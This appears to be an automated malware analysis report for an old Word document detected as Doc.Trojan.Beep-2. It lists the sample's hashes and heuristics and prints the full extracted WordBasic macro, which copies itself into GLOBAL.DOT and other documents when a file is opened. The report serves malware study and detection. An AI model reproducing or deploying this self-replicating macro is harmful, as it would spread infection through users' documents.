Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a878cebdfba89a57…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-07-19 08:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ad84e43a93cac7b742587baa54c23206 SHA-1: f4b127f3066f5e9253b5d9e441023ebe760295f7 SHA-256: a878cebdfba89a57056ba6fe7edb4949d4ce1f5dce57755c57d4fab0c5601552
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic macro that attempts to infect the global template (GLOBAL.DOT) and other documents. The macro uses the AutoOpen subroutine, which is automatically executed when the document is opened, to copy itself. This behavior is indicative of a macro-based malware designed for propagation.

Heuristics 4

  • ClamAV: Doc.Trojan.Beep-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beep-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 806 bytes
SHA-256: 7abd9b81b9f21500bf65f2bc7c73a745932d34312621bd355a08bd6a568f91c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim A$
Dim Z$
    On Error Resume Next
    A$ = "Global:AutoOpen"
    Z$ = WordBasic.[FileName$]() + ":AutoOpen"
    If A$ = Z$ Then
        WordBasic.Beep
    Else: WordBasic.MacroCopy A$, Z$, 1 ' infect a file from the GLOBAL.DOT
    If A$ = Z$ Then
        WordBasic.Beep
    Else: WordBasic.MacroCopy Z$, A$, 1 ' infect the GLOBAL.DOT from the file
    If A$ = Z$ Then
        WordBasic.Beep
    Else: WordBasic.FileSaveAs Format:=1
End If
End If
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.